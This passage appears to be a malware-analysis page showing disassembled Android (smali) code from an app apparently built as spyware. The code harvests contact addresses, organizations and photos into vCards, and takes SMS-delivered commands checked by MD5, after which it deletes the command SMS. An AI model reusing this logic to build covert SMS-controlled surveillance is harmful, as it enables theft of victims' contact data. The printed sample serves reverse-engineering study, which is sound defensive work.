      282invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      283move-result-object v2
      285const-string v3, "data7"
      287invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      288move-result v3
      290invoke-interface {v0, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      291move-result-object v3
      293const-string v4, "data8"
      295invoke-interface {v0, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      296move-result v4
      298invoke-interface {v0, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      299move-result-object v4
      301const-string v5, "data9"
      303invoke-interface {v0, v5}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      304move-result v5
      306invoke-interface {v0, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      307move-result-object v5
      309const-string v7, "data10"
      311invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      312move-result v7
      314invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      315move-result-object v7
      317const-string v9, "data2"
      319invoke-interface {v0, v9}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      320move-result v9
      322invoke-interface {v0, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      323move-result-object v9
      324new-instance v10, Ljava/lang/StringBuilder;
      326invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
      328invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      329move-result-object v1
      331const-string v10, ";"
      333invoke-virtual {v1, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      334move-result-object v1
      336invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      337move-result-object v1
      339const-string v2, ";"
      341invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      342move-result-object v1
      344invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      345move-result-object v1
      347const-string v2, ";"
      349invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      350move-result-object v1
      352invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      353move-result-object v1
      355const-string v2, ";"
      357invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      358move-result-object v1
      360invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      361move-result-object v1
      363const-string v2, ";"
      365invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      366move-result-object v1
      368invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      369move-result-object v1
      371const-string v2, ";"
      373invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      374move-result-object v1
      376invoke-virtual {v1, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      377move-result-object v1
      379const-string v2, ";"
      381invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      382move-result-object v1
      384invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      385move-result-object v1
      386new-instance v2, Ljava/lang/StringBuilder;
      388const-string v3, "\r\nADR: "
      390invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      392invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      393move-result-object v1
      395invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      396move-result-object v1
      398invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      399try_end_203: goto/16 :goto_156
      400catch_205: move-exception v0
      401new-instance v1, Ljava/lang/StringBuilder;
      403const-string v2, "makeVcardStringBufferMenual- "
      405invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      407invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      408move-result-object v2
      410invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      411move-result-object v1
      413invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      414move-result-object v1
      416invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      417goto_21c:
      418const-string v3, "contact_id = ? AND mimetype = ?"
      419const/4 v0, 0x2
      420new-array v4, v0, [Ljava/lang/String;
      421const/4 v0, 0x0
      422aput-object v8, v4, v0
      423const/4 v0, 0x1
      425const-string v1, "vnd.android.cursor.item/organization"
      426aput-object v1, v4, v0
      428sget-object v1, Landroid/provider/ContactsContract$Data;->CONTENT_URI:Landroid/net/Uri;
      429const/4 v2, 0x0
      430const/4 v5, 0x0
      431move-object v0, p0
      433invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      434move-result-object v0
      436invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
      437move-result v1
      438if-eqz v1, :cond_270
      440const-string v1, "data1"
      442invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      443move-result v1
      445invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      446move-result-object v1
      448const-string v2, "data4"
      450invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      451move-result v2
      453invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      454move-result-object v2
      455new-instance v3, Ljava/lang/StringBuilder;
      457const-string v4, "\r\nTITLE:"
      459invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      461invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      462move-result-object v2
      464invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      465move-result-object v2
      467invoke-virtual {p2, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      468new-instance v2, Ljava/lang/StringBuilder;
      470const-string v3, "\r\nORG:"
      472invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      474invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      475move-result-object v1
      477invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      478move-result-object v1
      480invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      481cond_270:
      482invoke-interface {v0}, Landroid/database/Cursor;->close()V
      483goto_273:
      484sget-object v0, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
      486invoke-static {v8}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      487move-result-wide v1
      489invoke-static {v0, v1, v2}, Landroid/content/ContentUris;->withAppendedId(Landroid/net/Uri;J)Landroid/net/Uri;
      490move-result-object v0
      492invoke-static {p0, v0}, Landroid/provider/ContactsContract$Contacts;->openContactPhotoInputStream(Landroid/content/ContentResolver;Landroid/net/Uri;)Ljava/io/InputStream;
      493move-result-object v0
      494if-eqz v0, :cond_2b5
      496invoke-static {v0}, Lcom/network/android/m;->a(Ljava/io/InputStream;)[B
      497move-result-object v1
      499const-string v0, "\r\n"
      501invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      502if-eqz v1, :cond_2b5
      503array-length v0, v1
      504if-lt v0, v12, :cond_2dd
      505const/4 v0, 0x0
      506aget-byte v0, v1, v0
      507const/16 v2, 0x47
      508if-ne v0, v2, :cond_2dd
      509const/4 v0, 0x1
      510aget-byte v0, v1, v0
      511const/16 v2, 0x49
      512if-ne v0, v2, :cond_2dd
      513const/4 v0, 0x2
      514aget-byte v0, v1, v0
      515const/16 v2, 0x46
      516if-ne v0, v2, :cond_2dd
      518const-string v0, "GIF"
      519goto_2a8:
      520invoke-static {v1}, Lcom/network/j/b;->a([B)Ljava/lang/String;
      521move-result-object v1
      523invoke-virtual {v1}, Ljava/lang/String;->length()I
      524move-result v2
      525if-lez v2, :cond_2b5
      527invoke-static {p2, v1, v0}, Lcom/network/j/a;->a(Ljava/lang/StringBuilder;Ljava/lang/String;Ljava/lang/String;)V
      528try_end_2b5:
      529const-string v0, "\r\nEND:VCARD\r\n"
      531invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      532return-object v6
      533try_start_2bb:
      534invoke-interface {v0}, Landroid/database/Cursor;->close()V
      535try_end_2be: goto/16 :goto_140
      536try_start_2c0:
      537invoke-interface {v0}, Landroid/database/Cursor;->close()V
      538try_end_2c3: goto/16 :goto_21c
      539catch_2c5: move-exception v0
      540new-instance v1, Ljava/lang/StringBuilder;
      542const-string v2, "makeVcardStringBufferMenual- "
      544invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      546invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      547move-result-object v2
      549invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      550move-result-object v1
      552invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      553move-result-object v1
      555invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      556goto/16 :goto_273
      557try_start_2dd: array-length v0, v1
      558const/4 v2, 0x4
      559if-lt v0, v2, :cond_300
      560const/4 v0, 0x0
      561aget-byte v0, v1, v0
      562const/16 v2, -0x77
      563if-ne v0, v2, :cond_300
      564const/4 v0, 0x1
      565aget-byte v0, v1, v0
      566const/16 v2, 0x50
      567if-ne v0, v2, :cond_300
      568const/4 v0, 0x2
      569aget-byte v0, v1, v0
      570const/16 v2, 0x4e
      571if-ne v0, v2, :cond_300
      572const/4 v0, 0x3
      573aget-byte v0, v1, v0
      574const/16 v2, 0x47
      575if-ne v0, v2, :cond_300
      577const-string v0, "PNG"
      578goto/16 :goto_2a8
      579cond_300: array-length v0, v1
      580if-lt v0, v11, :cond_2b5
      581const/4 v0, 0x0
      582aget-byte v0, v1, v0
      583const/4 v2, -0x1
      584if-ne v0, v2, :cond_2b5
      585const/4 v0, 0x1
      586aget-byte v0, v1, v0
      587const/16 v2, -0x28
      588if-ne v0, v2, :cond_2b5
      590const-string v0, "JPEG"
      591try_end_312: goto/16 :goto_2a8
      592catch_313: move-exception v0
      593new-instance v1, Ljava/lang/StringBuilder;
      595const-string v2, "photo- "
      597invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      599invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      600move-result-object v2
      602invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      603move-result-object v1
      605invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      606move-result-object v1
      608invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      609goto/16 :goto_2b5
      610catch_32b: move-exception v0
      611move-object v1, v0
      612move-object v0, v6
      613goto/16 :goto_d8
      Cross References
      APIs
      • java.util.Vector.<init>
      • java.lang.String.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.String.indexOf
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.SmsReceiver.b
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.security.MessageDigest.getInstance
      • java.lang.String.getBytes
      • java.security.MessageDigest.update
      • java.security.MessageDigest.digest
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.regex.Pattern.compile
      • java.util.regex.Pattern.matcher
      • java.util.regex.Matcher.find
      • java.util.regex.Matcher.group
      • java.util.regex.Matcher.group
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.charAt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.add
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.LinkedHashSet.contains
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.LinkedHashSet.size
      • java.util.LinkedHashSet.iterator
      • java.util.Iterator.next
      • java.lang.StringBuilder.<init>
      • java.util.LinkedHashSet.size
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Iterator.remove
      • java.util.LinkedHashSet.add
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.add
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • addCommandToQueue start
      • addCommandToQueue commandData:\n
      • &s=
      • addCommandToQueue command checksum:\n
      • addCommandToQueue command msg choped:\n
      • addCommandToQueue command token:
      • addCommandToQueue command key (to MD5 check sum):\n
      • MD5
      • addCommandToQueue checksum:
      • ,hash:
      • addCommandToQueue not our command!!!!!!!
      • addCommandToQueue-
      • addCommandToQueue command checksam validated command
      • .*[:]\\d{6}(\\d)[\n]?(.*)
      • addCommandToQueue getPatern compile:
      • addCommandToQueue cmdType:
      • addCommandToQueue urlCommand:
      • addCommandToQueue regx exception-
      • addCommandToQueue cmdMsg:
      • addCommandToQueue ackId id:
      • addCommandToQueue mommand message cmdMsg =
      • addCommandToQueue commandAck:
      • addCommandToQueue cmdId=
      • was already performed. NOT adding it to command queue
      • addCommandToQueue commandSet is full (
      • ), remove
      • addCommandToQueue SystemUtils.deleteTargetSms:
      • addCommandToQueue end
      • addCommandToQueue exception-
      Position Instruction Meta Information
      0const/4 v2, 0x0
      1const/4 v1, 0x1
      2const/4 v0, 0x0
      3try_start_3:
      4const-string v3, "addCommandToQueue start "
      6invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      8sget-object v3, Lcom/network/android/a/b;->b:Ljava/lang/Object;
      9monitor-enter v3
      10try_start_b:
      11sget-object v4, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      12if-nez v4, :cond_16
      13new-instance v4, Ljava/util/Vector;
      15invoke-direct {v4}, Ljava/util/Vector;-><init>()V
      16sput-object v4, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      17cond_16: monitor-exit v3
      18try_start_17: new-instance v4, Lcom/network/android/a/a;
      20invoke-direct {v4}, Lcom/network/android/a/a;-><init>()V
      21new-instance v5, Ljava/lang/String;
      23invoke-direct {v5, p0}, Ljava/lang/String;-><init>([B)V
      24new-instance v3, Ljava/lang/StringBuilder;
      26const-string v6, "addCommandToQueue commandData:\n"
      28invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      30invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      31move-result-object v3
      33invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      34move-result-object v3
      36invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      38const-string v3, "&s="
      40invoke-virtual {v5}, Ljava/lang/String;->length()I
      41move-result v6
      42add-int/lit8 v6, v6, -0x1e
      44invoke-virtual {v5, v3, v6}, Ljava/lang/String;->indexOf(Ljava/lang/String;I)I
      45move-result v3
      46add-int/lit8 v6, v3, 0x3
      48invoke-virtual {v5, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String;
      49move-result-object v6
      50iput-object v6, v4, Lcom/network/android/a/a;->a:Ljava/lang/String;
      51new-instance v6, Ljava/lang/StringBuilder;
      53const-string v7, "addCommandToQueue command checksum:\n"
      55invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      57iget-object v7, v4, Lcom/network/android/a/a;->a:Ljava/lang/String;
      59invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      60move-result-object v6
      62invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      63move-result-object v6
      65invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      66const/4 v6, 0x0
      67add-int/lit8 v3, v3, 0x3
      69invoke-virtual {v5, v6, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      70move-result-object v3
      71iput-object v3, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      72new-instance v3, Ljava/lang/StringBuilder;
      74const-string v6, "addCommandToQueue command msg choped:\n"
      76invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      78iget-object v6, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      80invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      81move-result-object v3
      83invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      84move-result-object v3
      86invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      87iput-boolean p2, v4, Lcom/network/android/a/a;->i:Z
      88if-nez p4, :cond_80
      90invoke-static {p1}, Lcom/network/android/SmsReceiver;->b(Landroid/content/Context;)Ljava/lang/String;
      91move-result-object p4
      92cond_80: iput-object p4, v4, Lcom/network/android/a/a;->c:Ljava/lang/String;
      93new-instance v3, Ljava/lang/StringBuilder;
      95const-string v6, "addCommandToQueue command token: "
      97invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      99iget-object v6, v4, Lcom/network/android/a/a;->c:Ljava/lang/String;
      101invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      102move-result-object v3
      104invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      105move-result-object v3
      107invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      108new-instance v3, Ljava/lang/StringBuilder;
      110invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      112iget-object v6, v4, Lcom/network/android/a/a;->c:Ljava/lang/String;
      114invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      115move-result-object v3
      117iget-object v6, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      119invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      120move-result-object v3
      122invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      123move-result-object v3
      124iput-object v3, v4, Lcom/network/android/a/a;->d:Ljava/lang/String;
      125new-instance v3, Ljava/lang/StringBuilder;
      127const-string v6, "addCommandToQueue command key (to MD5 check sum):\n"
      129invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      131iget-object v6, v4, Lcom/network/android/a/a;->d:Ljava/lang/String;
      133invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      134move-result-object v3
      136invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      137move-result-object v3
      139invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      141const-string v3, "MD5"
      143invoke-static {v3}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
      144move-result-object v3
      146iget-object v6, v4, Lcom/network/android/a/a;->d:Ljava/lang/String;
      148invoke-virtual {v6}, Ljava/lang/String;->getBytes()[B
      149move-result-object v6
      151invoke-virtual {v3, v6}, Ljava/security/MessageDigest;->update([B)V
      153invoke-virtual {v3}, Ljava/security/MessageDigest;->digest()[B
      154move-result-object v3
      155const/16 v6, 0x8
      157invoke-static {v3, v6}, Lcom/network/i/a;->a([BI)Ljava/lang/String;
      158move-result-object v3
      159new-instance v6, Ljava/lang/StringBuilder;
      161const-string v7, "addCommandToQueue checksum: "
      163invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      165iget-object v7, v4, Lcom/network/android/a/a;->a:Ljava/lang/String;
      167invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      168move-result-object v6
      170const-string v7, " ,hash: "
      172invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      173move-result-object v6
      175invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      176move-result-object v6
      178invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      179move-result-object v6
      181invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      183iget-object v6, v4, Lcom/network/android/a/a;->a:Ljava/lang/String;
      185invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      186move-result v3
      187if-eqz v3, :cond_325
      188move v3, v1
      189goto_101: if-nez v3, :cond_12b
      191const-string v2, "addCommandToQueue not our command!!!!!!!"
      193invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      194const/4 v2, 0x1
      195const/16 v3, 0x1e
      197invoke-static {v2, v3}, Lcom/network/android/c/a/b;->a(IS)V
      198goto_10e: return v0
      199catchall_10f: move-exception v0
      200monitor-exit v3
      201throw v0
      202catch_112: move-exception v0
      203new-instance v2, Ljava/lang/StringBuilder;
      205const-string v3, "addCommandToQueue- "
      207invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      209invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      210move-result-object v3
      212invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      213move-result-object v2
      215invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      216move-result-object v2
      218invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      219goto_129: move v0, v1
      220goto/16 :goto_10e
      221try_start_12b:
      222const-string v0, "addCommandToQueue command checksam validated command"
      224invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      225try_end_130:
      226sget-object v0, Lcom/network/android/a/b;->e:Ljava/util/regex/Pattern;
      227if-nez v0, :cond_14e
      229const-string v0, ".*[:]\\d{6}(\\d)[\n]?(.*)"
      230new-instance v3, Ljava/lang/StringBuilder;
      232const-string v6, "addCommandToQueue getPatern compile: "
      234invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      236invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      237move-result-object v3
      239invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      240move-result-object v3
      242invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      244invoke-static {v0}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
      245move-result-object v0
      246sput-object v0, Lcom/network/android/a/b;->e:Ljava/util/regex/Pattern;
      247cond_14e:
      248sget-object v0, Lcom/network/android/a/b;->e:Ljava/util/regex/Pattern;
      249try_end_150:
      250invoke-virtual {v0, v5}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
      251try_end_153: move-result-object v0
      252move-object v3, v2
      253try_start_155:
      254invoke-virtual {v0}, Ljava/util/regex/Matcher;->find()Z
      255move-result v5
      256if-eqz v5, :cond_1a1
      257const/4 v5, 0x1
      259invoke-virtual {v0, v5}, Ljava/util/regex/Matcher;->group(I)Ljava/lang/String;
      260move-result-object v3
      261const/4 v5, 0x2
      263invoke-virtual {v0, v5}, Ljava/util/regex/Matcher;->group(I)Ljava/lang/String;
      264move-result-object v2
      265new-instance v5, Ljava/lang/StringBuilder;
      267const-string v6, "addCommandToQueue cmdType: "
      269invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      271invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      272move-result-object v5
      274invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      275move-result-object v5
      277invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      278new-instance v5, Ljava/lang/StringBuilder;
      280const-string v6, "addCommandToQueue urlCommand: "
      282invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      284invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      285move-result-object v5
      287invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      288move-result-object v5
      290invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      291try_end_189: goto/16 :goto_155
      292catch_18a: move-exception v0
      293try_start_18b: new-instance v5, Ljava/lang/StringBuilder;
      295const-string v6, "addCommandToQueue regx exception- "
      297invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      299invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      300move-result-object v6
      302invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      303move-result-object v5
      305invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      306move-result-object v5
      308invoke-static {v5, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      309cond_1a1: const/4 v0, 0x0
      311invoke-virtual {v3, v0}, Ljava/lang/String;->charAt(I)C
      312move-result v0
      313iput-char v0, v4, Lcom/network/android/a/a;->f:C
      314new-instance v0, Ljava/lang/StringBuilder;
      316const-string v3, "addCommandToQueue cmdType: "
      318invoke-direct {v0, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      319iget-char v3, v4, Lcom/network/android/a/a;->f:C
      321invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
      322move-result-object v0
      324invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      325move-result-object v0
